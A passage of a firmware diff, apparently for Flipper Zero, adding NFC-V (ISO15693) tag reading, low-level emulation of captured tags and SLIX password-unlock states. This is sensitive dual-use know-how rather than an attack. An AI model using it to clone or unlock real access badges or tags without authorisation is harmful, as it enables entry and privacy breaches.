ce542828a..e707755de 100644 --- a/lib/nfc/nfc_worker.h +++ b/lib/nfc/nfc_worker.h @@ -18,6 +18,9 @@ typedef enum { NfcWorkerStateReadMfUltralightReadAuth, NfcWorkerStateMfClassicDictAttack, NfcWorkerStateAnalyzeReader, + NfcWorkerStateNfcVEmulate, + NfcWorkerStateNfcVUnlock, + NfcWorkerStateNfcVUnlockAndSave, // Debug NfcWorkerStateEmulateApdu, NfcWorkerStateField, @@ -39,6 +42,7 @@ typedef enum { NfcWorkerEventReadMfClassicDone, NfcWorkerEventReadMfClassicLoadKeyCache, NfcWorkerEventReadMfClassicDictAttackRequired, + NfcWorkerEventReadNfcV, NfcWorkerEventReadBankCard, // Nfc worker common events @@ -70,6 +74,7 @@ typedef enum { // Mifare Ultralight events NfcWorkerEventMfUltralightPassKey, // NFC worker requesting manual key NfcWorkerEventMfUltralightPwdAuth, // Reader sent auth command + NfcWorkerEventNfcVPassKey, // NFC worker requesting manual key } NfcWorkerEvent; typedef bool (*NfcWorkerCallback)(NfcWorkerEvent event, void* context); @@ -88,3 +93,5 @@ void nfc_worker_start( void* context); void nfc_worker_stop(NfcWorker* nfc_worker); +void nfc_worker_nfcv_unlock(NfcWorker* nfc_worker); +void nfc_worker_emulate_nfcv(NfcWorker* nfc_worker); diff --git a/lib/nfc/nfc_worker_i.h b/lib/nfc/nfc_worker_i.h index 9733426ab..d13d3c5c8 100644 --- a/lib/nfc/nfc_worker_i.h +++ b/lib/nfc/nfc_worker_i.h @@ -12,6 +12,8 @@ #include #include #include +#include +#include #include struct NfcWorker { diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c new file mode 100644 index 000000000..6c205779f --- /dev/null +++ b/lib/nfc/protocols/nfcv.c @@ -0,0 +1,885 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "nfcv.h" +#include "nfc_util.h" +#include "slix.h" + +#define TAG "NfcV" + +ReturnCode nfcv_inventory(uint8_t* uid) { + uint16_t received = 0; + rfalNfcvInventoryRes res; + ReturnCode ret = ERR_NONE; + + for(int tries = 0; tries < 5; tries++) { + /* TODO: needs proper abstraction via fury_hal(_ll)_* */ + ret = rfalNfcvPollerInventory(RFAL_NFCV_NUM_SLOTS_1, 0, NULL, &res, &received); + + if(ret == ERR_NONE) { + break; + } + } + + if(ret == ERR_NONE) { + if(uid != NULL) { + memcpy(uid, res.UID, 8); + } + } + + return ret; +} + +ReturnCode nfcv_read_blocks(NfcVReader* reader, NfcVData* nfcv_data) { + UNUSED(reader); + + uint16_t received = 0; + for(size_t block = 0; block < nfcv_data->block_num; block++) { + uint8_t rxBuf[32]; + FURI_LOG_D(TAG, "Reading block %d/%d", block, (nfcv_data->block_num - 1)); + + ReturnCode ret = ERR_NONE; + for(int tries = 0; tries < 5; tries++) { + ret = rfalNfcvPollerReadSingleBlock( + RFAL_NFCV_REQ_FLAG_DEFAULT, NULL, block, rxBuf, sizeof(rxBuf), &received); + + if(ret == ERR_NONE) { + break; + } + } + if(ret != ERR_NONE) { + FURI_LOG_D(TAG, "failed to read: %d", ret); + return ret; + } + memcpy( + &(nfcv_data->data[block * nfcv_data->block_size]), &rxBuf[1], nfcv_data->block_size); + FURI_LOG_D( + TAG, + " %02X %02X %02X %02X", + nfcv_data->data[block * nfcv_data->block_size + 0], + nfcv_data->data[block * nfcv_data->block_size + 1], + nfcv_data->data[block * nfcv_data->block_size + 2], + nfcv_data->data[block * nfcv_data->block_size + 3]); + } + + return ERR_NONE; +} + +ReturnCode nfcv_read_sysinfo(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { + uint8_t rxBuf[32]; + uint16_t received = 0; + ReturnCode ret = ERR_NONE; + + FURI_LOG_D(TAG, "Read SYSTEM INFORMATION..."); + + for(int tries = 0; tries < 5; tries++) { + /* TODO: needs proper abstraction via fury_hal(_ll)_* */ + ret = rfalNfcvPollerGetSystemInformation( + RFAL_NFCV_REQ_FLAG_DEFAULT, NULL, rxBuf, sizeof(rxBuf), &received); + + if(ret == ERR_NONE) { + break; + } + } + + if(ret == ERR_NONE) { + nfc_data->type = FuriHalNfcTypeV; + nfc_data->uid_len = 8; + /* UID is stored reversed in this response */ + for(int pos = 0; pos < nfc_data->uid_len; pos++) { + nfc_data->uid[pos] = rxBuf[2 + (7 - pos)]; + } + nfcv_data->dsfid = rxBuf[10]; + nfcv_data->afi = rxBuf[11]; + nfcv_data->block_num = rxBuf[12] + 1; + nfcv_data->block_size = rxBuf[13] + 1; + nfcv_data->ic_ref = rxBuf[14]; + FURI_LOG_D( + TAG, + " UID: %02X %02X %02X %02X %02X %02X %02X %02X", + nfc_data->uid[0], + nfc_data->uid[1], + nfc_data->uid[2], + nfc_data->uid[3], + nfc_data->uid[4], + nfc_data->uid[5], + nfc_data->uid[6], + nfc_data->uid[7]); + FURI_LOG_D( + TAG, + " DSFID %d, AFI %d, Blocks %d, Size %d, IC Ref %d", + nfcv_data->dsfid, + nfcv_data->afi, + nfcv_data->block_num, + nfcv_data->block_size, + nfcv_data->ic_ref); + return ret; + } + FURI_LOG_D(TAG, "Failed: %d", ret); + + return ret; +} + +bool nfcv_read_card(NfcVReader* reader, FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { + furi_assert(reader); + furi_assert(nfc_data); + furi_assert(nfcv_data); + + if(nfcv_read_sysinfo(nfc_data, nfcv_data) != ERR_NONE) { + return false; + } + + if(nfcv_read_blocks(reader, nfcv_data) != ERR_NONE) { + return false; + } + + if(slix_check_card_type(nfc_data)) { + FURI_LOG_I(TAG, "NXP SLIX detected"); + nfcv_data->sub_type = NfcVTypeSlix; + } else if(slix2_check_card_type(nfc_data)) { + FURI_LOG_I(TAG, "NXP SLIX2 detected"); + nfcv_data->sub_type = NfcVTypeSlix2; + } else if(slix_s_check_card_type(nfc_data)) { + FURI_LOG_I(TAG, "NXP SLIX-S detected"); + nfcv_data->sub_type = NfcVTypeSlixS; + } else if(slix_l_check_card_type(nfc_data)) { + FURI_LOG_I(TAG, "NXP SLIX-L detected"); + nfcv_data->sub_type = NfcVTypeSlixL; + } else { + nfcv_data->sub_type = NfcVTypePlain; + } + + return true; +} + +void nfcv_crc(uint8_t* data, uint32_t length) { + uint32_t reg = 0xFFFF; + + for(size_t i = 0; i < length; i++) { + reg = reg ^ ((uint32_t)data[i]); + for(size_t j = 0; j < 8; j++) { + if(reg & 0x0001) { + reg = (reg >> 1) ^ 0x8408; + } else { + reg = (reg >> 1); + } + } + } + + uint16_t crc = ~(uint16_t)(reg & 0xffff); + + data[length + 0] = crc & 0xFF; + data[length + 1] = crc >> 8; +} + +void nfcv_emu_free_signals(NfcVEmuAirSignals* signals) { + if(signals->nfcv_resp_one) { + digital_signal_free(signals->nfcv_resp_one); + signals->nfcv_resp_one = NULL; + } + if(signals->nfcv_resp_zero) { + digital_signal_free(signals->nfcv_resp_zero); + signals->nfcv_resp_zero = NULL; + } + if(signals->nfcv_resp_sof) { + digital_signal_free(signals->nfcv_resp_sof); + signals->nfcv_resp_sof = NULL; + } + if(signals->nfcv_resp_eof) { + digital_signal_free(signals->nfcv_resp_eof); + signals->nfcv_resp_eof = NULL; + } +} + +void nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_t slowdown) { + if(!signals->nfcv_resp_one) { + /* logical one: unmodulated then 8 pulses */ + signals->nfcv_resp_one = digital_signal_alloc(40); + for(size_t i = 0; i < slowdown; i++) { + digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_unmod); + } + for(size_t i = 0; i < slowdown * 8; i++) { + digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_pulse); + } + } + if(!signals->nfcv_resp_zero) { + /* logical zero: 8 pulses then unmodulated */ + signals->nfcv_resp_zero = digital_signal_alloc(40); + for(size_t i = 0; i < slowdown * 8; i++) { + digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_pulse); + } + for(size_t i = 0; i < slowdown; i++) { + digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_unmod); + } + } + if(!signals->nfcv_resp_sof) { + /* SOF: unmodulated, 24 pulses, logic 1 */ + signals->nfcv_resp_sof = digital_signal_alloc(160); + for(size_t i = 0; i < slowdown * 3; i++) { + digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_unmod); + } + for(size_t i = 0; i < slowdown * 24; i++) { + digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_pulse); + } + digital_signal_append(signals->nfcv_resp_sof, signals->nfcv_resp_one); + } + if(!signals->nfcv_resp_eof) { + /* EOF: logic 0, 24 pulses, unmodulated */ + signals->nfcv_resp_eof = digital_signal_alloc(160); + digital_signal_append(signals->nfcv_resp_eof, signals->nfcv_resp_zero); + for(size_t i = 0; i < slowdown * 24; i++) { + digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_pulse); + } + for(size_t i = 0; i < slowdown * 3; i++) { + digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); + } + /* add extra silence */ + digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); + } +} + +void nfcv_emu_alloc(NfcVData* nfcv_data) { + if(!nfcv_data->emu_air.nfcv_signal) { + /* assuming max frame length is 255 bytes */ + nfcv_data->emu_air.nfcv_signal = digital_sequence_alloc(8 * 255 + 2, &gpio_spi_r_mosi); + } + if(!nfcv_data->emu_air.nfcv_resp_unmod) { + /* unmodulated 256/fc or 1024/fc signal as building block */ + nfcv_data->emu_air.nfcv_resp_unmod = digital_signal_alloc(4); + nfcv_data->emu_air.nfcv_resp_unmod->start_level = false; + nfcv_data->emu_air.nfcv_resp_unmod->edge_timings[0] = + (uint32_t)(NFCV_RESP_SUBC1_UNMOD_256 * DIGITAL_SIGNAL_UNIT_S); + nfcv_data->emu_air.nfcv_resp_unmod->edge_cnt = 1; + } + if(!nfcv_data->emu_air.nfcv_resp_pulse) { + /* modulated fc/32 or fc/8 pulse as building block */ + nfcv_data->emu_air.nfcv_resp_pulse = digital_signal_alloc(4); + nfcv_data->emu_air.nfcv_resp_pulse->start_level = true; + nfcv_data->emu_air.nfcv_resp_pulse->edge_timings[0] = + (uint32_t)(NFCV_RESP_SUBC1_PULSE_32 * DIGITAL_SIGNAL_UNIT_S); + nfcv_data->emu_air.nfcv_resp_pulse->edge_timings[1] = + (uint32_t)(NFCV_RESP_SUBC1_PULSE_32 * DIGITAL_SIGNAL_UNIT_S); + nfcv_data->emu_air.nfcv_resp_pulse->edge_cnt = 2; + } + + nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_high, 1); + nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_low, 4); + + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_SOF, + nfcv_data->emu_air.signals_high.nfcv_resp_sof); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_BIT0, + nfcv_data->emu_air.signals_high.nfcv_resp_zero); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_BIT1, + nfcv_data->emu_air.signals_high.nfcv_resp_one); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_EOF, + nfcv_data->emu_air.signals_high.nfcv_resp_eof); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_LOW_SOF, + nfcv_data->emu_air.signals_low.nfcv_resp_sof); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_LOW_BIT0, + nfcv_data->emu_air.signals_low.nfcv_resp_zero); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_LOW_BIT1, + nfcv_data->emu_air.signals_low.nfcv_resp_one); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_LOW_EOF, + nfcv_data->emu_air.signals_low.nfcv_resp_eof); +} + +void nfcv_emu_free(NfcVData* nfcv_data) { + if(nfcv_data->emu_air.nfcv_resp_unmod) { + digital_signal_free(nfcv_data->emu_air.nfcv_resp_unmod); + nfcv_data->emu_air.nfcv_resp_unmod = NULL; + } + if(nfcv_data->emu_air.nfcv_resp_pulse) { + digital_signal_free(nfcv_data->emu_air.nfcv_resp_pulse); + nfcv_data->emu_air.nfcv_resp_pulse = NULL; + } + if(nfcv_data->emu_air.nfcv_signal) { + digital_sequence_free(nfcv_data->emu_air.nfcv_signal); + nfcv_data->emu_air.nfcv_signal = NULL; + } + if(nfcv_data->emu_air.reader_signal) { + pulse_reader_free(nfcv_data->emu_air.reader_signal); + nfcv_data->emu_air.reader_signal = NULL; + } + + nfcv_emu_free_signals(&nfcv_data->emu_air.signals_high); + nfcv_emu_free_signals(&nfcv_data->emu_air.signals_low); +} + +void nfcv_emu_send( + FuriHalNfcTxRxContext* tx_rx, + NfcVData* nfcv, + uint8_t* data, + uint8_t length, + NfcVSendFlags flags, + uint32_t send_time) { + /* picked default value (0) to match the most common format */ + if(!flags) { + flags = NfcVSendFlagsSof | NfcVSendFlagsCrc | NfcVSendFlagsEof | + NfcVSendFlagsOneSubcarrier | NfcVSendFlagsHighRate; + } + + if(flags & NfcVSendFlagsCrc) { + nfcv_crc(data, length); + length += 2; + } + + /* depending on the request flags, send with high or low rate */ + uint32_t bit0 = (flags & NfcVSendFlagsHighRate) ? NFCV_SIG_BIT0 : NFCV_SIG_LOW_BIT0; + uint32_t bit1 = (flags & NfcVSendFlagsHighRate) ? NFCV_SIG_BIT1 : NFCV_SIG_LOW_BIT1; + uint32_t sof = (flags & NfcVSendFlagsHighRate) ? NFCV_SIG_SOF : NFCV_SIG_LOW_SOF; + uint32_t eof = (flags & NfcVSendFlagsHighRate) ? NFCV_SIG_EOF : NFCV_SIG_LOW_EOF; + + digital_sequence_clear(nfcv->emu_air.nfcv_signal); + + if(flags & NfcVSendFlagsSof) { + digital_sequence_add(nfcv->emu_air.nfcv_signal, sof); + } + + for(int bit_total = 0; bit_total < length * 8; bit_total++) { + uint32_t byte_pos = bit_total / 8; + uint32_t bit_pos = bit_total % 8; + uint8_t bit_val = 0x01 << bit_pos; + + digital_sequence_add(nfcv->emu_air.nfcv_signal, (data[byte_pos] & bit_val) ? bit1 : bit0); + } + + if(flags & NfcVSendFlagsEof) { + digital_sequence_add(nfcv->emu_air.nfcv_signal, eof); + } + + FURI_CRITICAL_ENTER(); + digital_sequence_set_sendtime(nfcv->emu_air.nfcv_signal, send_time); + digital_sequence_send(nfcv->emu_air.nfcv_signal); + FURI_CRITICAL_EXIT(); + furi_hal_gpio_write(&gpio_spi_r_mosi, false); + + if(tx_rx->sniff_tx) { + tx_rx->sniff_tx(data, length * 8, false, tx_rx->sniff_context); + } +} + +static void nfcv_revuidcpy(uint8_t* dst, uint8_t* src) { + for(int pos = 0; pos < 8; pos++) { + dst[pos] = src[7 - pos]; + } +} + +static int nfcv_revuidcmp(uint8_t* dst, uint8_t* src) { + for(int pos = 0; pos < 8; pos++) { + if(dst[pos] != src[7 - pos]) { + return 1; + } + } + return 0; +} + +void nfcv_emu_handle_packet( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + void* nfcv_data_in) { + NfcVData* nfcv_data = (NfcVData*)nfcv_data_in; + NfcVEmuProtocolCtx* ctx = nfcv_data->emu_protocol_ctx; + + if(nfcv_data->frame_length < 2) { + return; + } + + /* parse the frame data for the upcoming part 3 handling */ + ctx->flags = nfcv_data->frame[0]; + ctx->command = nfcv_data->frame[1]; + ctx->addressed = !(ctx->flags & RFAL_NFCV_REQ_FLAG_INVENTORY) && + (ctx->flags & RFAL_NFCV_REQ_FLAG_ADDRESS); + ctx->advanced = (ctx->command >= 0xA0); + ctx->address_offset = 2 + (ctx->advanced ? 1 : 0); + ctx->payload_offset = ctx->address_offset + (ctx->addressed ? 8 : 0); + ctx->response_flags = NfcVSendFlagsSof | NfcVSendFlagsCrc | NfcVSendFlagsEof; + ctx->send_time = nfcv_data->eof_timestamp + NFCV_FDT_FC(4130); + + if(ctx->flags & RFAL_NFCV_REQ_FLAG_DATA_RATE) { + ctx->response_flags |= NfcVSendFlagsHighRate; + } + if(ctx->flags & RFAL_NFCV_REQ_FLAG_SUB_CARRIER) { + ctx->response_flags |= NfcVSendFlagsTwoSubcarrier; + } + + /* standard behavior is implemented */ + if(ctx->addressed) { + uint8_t* address = &nfcv_data->frame[ctx->address_offset]; + if(nfcv_revuidcmp(address, nfc_data->uid)) { + FURI_LOG_D(TAG, "addressed command 0x%02X, but not for us:", ctx->command); + FURI_LOG_D( + TAG, + " dest: %02X%02X%02X%02X%02X%02X%02X%02X", + address[7], + address[6], + address[5], + address[4], + address[3], + address[2], + address[1], + address[0]); + FURI_LOG_D( + TAG, + " our UID: %02X%02X%02X%02X%02X%02X%02X%02X", + nfc_data->uid[0], + nfc_data->uid[1], + nfc_data->uid[2], + nfc_data->uid[3], + nfc_data->uid[4], + nfc_data->uid[5], + nfc_data->uid[6], + nfc_data->uid[7]); + return; + } + } + + /* then give control to the card subtype specific protocol filter */ + if(ctx->emu_protocol_filter != NULL) { + if(ctx->emu_protocol_filter(tx_rx, nfc_data, nfcv_data)) { + if(strlen(nfcv_data->last_command) > 0) { + FURI_LOG_D( + TAG, "Received command %s (handled by filter)", nfcv_data->last_command); + } + return; + } + } + + switch(ctx->command) { + case ISO15693_INVENTORY: { + ctx->response_buffer[0] = ISO15693_NOERROR; + ctx->response_buffer[1] = nfcv_data->dsfid; + nfcv_revuidcpy(&ctx->response_buffer[2], nfc_data->uid); + + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 10, ctx->response_flags, ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "INVENTORY"); + break; + } + + case ISO15693_STAYQUIET: { + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "STAYQUIET"); + break; + } + + case ISO15693_LOCKBLOCK: { + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "LOCKBLOCK"); + break; + } + + case ISO15693_SELECT: { + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "SELECT"); + break; + } + + case ISO15693_RESET_TO_READY: { + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "RESET_TO_READY"); + break; + } + + case ISO15693_READ_MULTI_BLOCK: + case ISO15693_READBLOCK: { + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + uint8_t blocks = 1; + + if(ctx->command == ISO15693_READ_MULTI_BLOCK) { + blocks = nfcv_data->frame[ctx->payload_offset + 1] + 1; + } + + if(block + blocks > nfcv_data->block_num) { + ctx->response_buffer[0] = ISO15693_ERROR_CMD_NOT_REC; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + } else { + ctx->response_buffer[0] = ISO15693_NOERROR; + memcpy( + &ctx->response_buffer[1], + &nfcv_data->data[nfcv_data->block_size * block], + nfcv_data->block_size * blocks); + nfcv_emu_send( + tx_rx, + nfcv_data, + ctx->response_buffer, + 1 + nfcv_data->block_size * blocks, + ctx->response_flags, + ctx->send_time); + } + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "READ BLOCK %d", block); + break; + } + + case ISO15693_WRITE_MULTI_BLOCK: + case ISO15693_WRITEBLOCK: { + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + uint8_t blocks = 1; + uint8_t data_pos = 1; + + if(ctx->command == ISO15693_WRITE_MULTI_BLOCK) { + blocks = nfcv_data->frame[ctx->payload_offset + 1] + 1; + data_pos++; + } + + uint8_t* data = &nfcv_data->frame[ctx->payload_offset + data_pos]; + uint32_t data_len = nfcv_data->block_size * blocks; + + if(block + blocks > nfcv_data->block_num || + ctx->payload_offset + data_len + 2 > nfcv_data->frame_length) { + ctx->response_buffer[0] = ISO15693_ERROR_CMD_NOT_REC; + } else { + ctx->response_buffer[0] = ISO15693_NOERROR; + memcpy( + &nfcv_data->data[nfcv_data->block_size * block], + &nfcv_data->frame[ctx->payload_offset + data_pos], + data_len); + } + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + + if(ctx->command == ISO15693_WRITE_MULTI_BLOCK) { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "WRITE MULTI BLOCK %d, %d blocks", + block, + blocks); + } else { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "WRITE BLOCK %d <- %02X %02X %02X %02X", + block, + data[0], + data[1], + data[2], + data[3]); + } + break; + } + + case ISO15693_GET_SYSTEM_INFO: { + ctx->response_buffer[0] = ISO15693_NOERROR; + ctx->response_buffer[1] = 0x0F; + nfcv_revuidcpy(&ctx->response_buffer[2], nfc_data->uid); + ctx->response_buffer[10] = nfcv_data->dsfid; /* DSFID */ + ctx->response_buffer[11] = nfcv_data->afi; /* AFI */ + ctx->response_buffer[12] = nfcv_data->block_num - 1; /* number of blocks */ + ctx->response_buffer[13] = nfcv_data->block_size - 1; /* block size */ + ctx->response_buffer[14] = nfcv_data->ic_ref; /* IC reference */ + + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 15, ctx->response_flags, ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "SYSTEMINFO"); + break; + } + + default: + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "unsupported: %02X", + ctx->command); + break; + } + + if(strlen(nfcv_data->last_command) > 0) { + FURI_LOG_D(TAG, "Received command %s", nfcv_data->last_command); + } +} + +void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { + nfcv_emu_alloc(nfcv_data); + rfal_platform_spi_acquire(); + /* configure for transparent and passive mode */ + st25r3916ExecuteCommand(ST25R3916_CMD_STOP); + /* set enable, rx_enable and field detector enable */ + st25r3916WriteRegister(ST25R3916_REG_OP_CONTROL, 0xC3); + /* target mode: ISO14443 passive mode */ + st25r3916WriteRegister(ST25R3916_REG_MODE, 0x88); + /* let us modulate the field using MOSI, read modulation using MISO */ + st25r3916ExecuteCommand(ST25R3916_CMD_TRANSPARENT_MODE); + + furi_hal_spi_bus_handle_deinit(&furi_hal_spi_bus_handle_nfc); + + /* if not set already, initialize the default protocol handler */ + if(!nfcv_data->emu_protocol_ctx) { + nfcv_data->emu_protocol_ctx = malloc(sizeof(NfcVEmuProtocolCtx)); + nfcv_data->emu_protocol_handler = &nfcv_emu_handle_packet; + } + + FURI_LOG_D(TAG, "Starting NfcV emulation"); + FURI_LOG_D( + TAG, + " UID: %02X %02X %02X %02X %02X %02X %02X %02X", + nfc_data->uid[0], + nfc_data->uid[1], + nfc_data->uid[2], + nfc_data->uid[3], + nfc_data->uid[4], + nfc_data->uid[5], + nfc_data->uid[6], + nfc_data->uid[7]); + + switch(nfcv_data->sub_type) { + case NfcVTypeSlixL: + FURI_LOG_D(TAG, " Card type: SLIX-L"); + slix_l_prepare(nfcv_data); + break; + case NfcVTypeSlixS: + FURI_LOG_D(TAG, " Card type: SLIX-S"); + slix_s_prepare(nfcv_data); + break; + case NfcVTypeSlix2: + FURI_LOG_D(TAG, " Card type: SLIX2"); + slix2_prepare(nfcv_data); + break; + case NfcVTypeSlix: + FURI_LOG_D(TAG, " Card type: SLIX"); + slix_prepare(nfcv_data); + break; + case NfcVTypePlain: + FURI_LOG_D(TAG, " Card type: Plain"); + break; + } + + /* allocate a 512 edge buffer, more than enough */ + nfcv_data->emu_air.reader_signal = pulse_reader_alloc(&gpio_nfc_irq_rfid_pull, 512); + /* timebase shall be 1 ns */ + pulse_reader_set_timebase(nfcv_data->emu_air.reader_signal, PulseReaderUnitNanosecond); + /* and configure to already calculate the number of bits */ + pulse_reader_set_bittime(nfcv_data->emu_air.reader_signal, PULSE_DURATION_NS); + /* this IO is fed into the µC via a diode, so we need a pulldown */ + pulse_reader_set_pull(nfcv_data->emu_air.reader_signal, GpioPullDown); + + /* start sampling */ + pulse_reader_start(nfcv_data->emu_air.reader_signal); +} + +void nfcv_emu_deinit(NfcVData* nfcv_data) { + furi_hal_spi_bus_handle_init(&furi_hal_spi_bus_handle_nfc); + rfal_platform_spi_release(); + nfcv_emu_free(nfcv_data); + + if(nfcv_data->emu_protocol_ctx) { + free(nfcv_data->emu_protocol_ctx); + nfcv_data->emu_protocol_ctx = NULL; + } + + /* set registers back to how we found them */ + st25r3916WriteRegister(ST25R3916_REG_OP_CONTROL, 0x00); + st25r3916WriteRegister(ST25R3916_REG_MODE, 0x08); +} + +bool nfcv_emu_loop( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + NfcVData* nfcv_data, + uint32_t timeout_ms) { + bool ret = false; + uint32_t frame_state = NFCV_FRAME_STATE_SOF1; + uint32_t periods_previous = 0; + uint8_t frame_payload[128]; + uint32_t frame_pos = 0; + uint32_t byte_value = 0; + uint32_t bits_received = 0; + char reset_reason[128]; + bool wait_for_pulse = false; + + while(true) { + uint32_t periods = + pulse_reader_receive(nfcv_data->emu_air.reader_signal, timeout_ms * 1000); + uint32_t timestamp = DWT->CYCCNT; + + if(periods == PULSE_READER_NO_EDGE) { + break; + } + if(periods == PULSE_READER_LOST_EDGE) { + break; + } + + if(wait_for_pulse) { + wait_for_pulse = false; + if(periods != 1) { + snprintf( + reset_reason, + sizeof(reset_reason), + "SOF: Expected a single low pulse in state %lu, but got %lu", + frame_state, + periods); + frame_state = NFCV_FRAME_STATE_RESET; + } + continue; + } + + switch(frame_state) { + case NFCV_FRAME_STATE_SOF1: + if(periods == 1) { + frame_state = NFCV_FRAME_STATE_SOF2; + } else { + frame_state = NFCV_FRAME_STATE_SOF1; + break; + } + break; + + case NFCV_FRAME_STATE_SOF2: + /* waiting for the second low period, telling us about coding */ + if(periods == 6) { + frame_state = NFCV_FRAME_STATE_CODING_256; + periods_previous = 0; + wait_for_pulse = true; + } else if(periods == 4) { + frame_state = NFCV_FRAME_STATE_CODING_4; + periods_previous = 2; + wait_for_pulse = true; + } else { + snprintf( + reset_reason, + sizeof(reset_reason), + "SOF: Expected 4/6 periods, got %lu", + periods); + frame_state = NFCV_FRAME_STATE_SOF1; + } + break; + + case NFCV_FRAME_STATE_CODING_256: + if(periods_previous > periods) { + snprintf( + reset_reason, + sizeof(reset_reason), + "1oo256: Missing %lu periods from previous symbol, got %lu", + periods_previous, + periods); + frame_state = NFCV_FRAME_STATE_RESET; + break; + } + /* previous symbol left us with some pulse periods */ + periods -= periods_previous; + + if(periods > 512) { + snprintf( + reset_reason, sizeof(reset_reason), "1oo256: %lu periods is too much", periods); + frame_state = NFCV_FRAME_STATE_RESET; + break; + } + + if(periods == 2) { + frame_state = NFCV_FRAME_STATE_EOF; + break; + } + + periods_previous = 512 - (periods + 1); + byte_value = (periods - 1) / 2; + frame_payload[frame_pos++] = (uint8_t)byte_value; + + wait_for_pulse = true; + + break; + + case NFCV_FRAME_STATE_CODING_4: + if(periods_previous > periods) { + snprintf( + reset_reason, + sizeof(reset_reason), + "1oo4: Missing %lu periods from previous symbol, got %lu at pos %lu", + periods_previous, + periods, + frame_pos); + frame_state = NFCV_FRAME_STATE_RESET; + break; + } + + /* previous symbol left us with some pulse periods */ + periods -= periods_previous; + periods_previous = 0; + + byte_value >>= 2; + bits_received += 2; + + if(periods == 1) { + byte_value |= 0x00 << 6; + periods_previous = 6; + } else if(periods == 3) { + byte_value |= 0x01 << 6; + periods_previous = 4; + } else if(periods == 5) { + byte_value |= 0x02 << 6; + periods_previous = 2; + } else if(periods == 7) { + byte_value |= 0x03 << 6; + periods_previous = 0; + } else if(periods == 2) { + frame_state = NFCV_FRAME_STATE_EOF; + break; + } else { + snprintf( + reset_reason, + sizeof(reset_reason), + "1oo4: Expected 1/3/5/7 low pulses, but got %lu at pos %lu", + periods, + frame_pos); + frame_state = NFCV_FRAME_STATE_RESET; + break; + } + + if(bits_received >= 8) { + frame_payload[frame_pos++] = (uint8_t)byte_value; + bits_received = 0; + } + wait_for_pulse = true; + break; + } + + /* post-state-machine cleanup and reset */ + if(frame_state == NFCV_FRAME_STATE_RESET) { + frame_state = NFCV_FRAME_STATE_SOF1; + + FURI_LOG_D(TAG, "Resetting state machine, reason: '%s'", reset_reason); + } else if(frame_state == NFCV_FRAME_STATE_EOF) { + nfcv_data->frame = frame_payload; + nfcv_data->frame_length = frame_pos; + nfcv_data->eof_timestamp = timestamp; + break; + } + } + + if(frame_state == NFCV_FRAME_STATE_EOF) { + /* we know that this code uses TIM2, so stop pulse reader */ + pulse_reader_stop(nfcv_data->emu_air.reader_signal); + if(tx_rx->sniff_rx) { + tx_rx->sniff_rx(frame_payload, frame_pos * 8, false, tx_rx->sniff_context); + } + nfcv_data->emu_protocol_handler(tx_rx, nfc_data, nfcv_data); + pulse_reader_start(nfcv_data->emu_air.reader_signal); + ret = true; + } + + return ret; +} diff --git a/lib/nfc/protocols/nfcv.h b/lib/nfc/protocols/nfcv.h new file mode 100644 index 000000000..9d7a56326 --- /dev/null +++ b/lib/nfc/protocols/nfcv.h @@ -0,0 +1,213 @@ +#pragma once + +#include +#include + +#include +#include +#include "nfc_util.h" +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define NFCV_FC (13560000.0f) /* MHz */ +#define NFCV_RESP_SUBC1_PULSE_32 (1.0f / 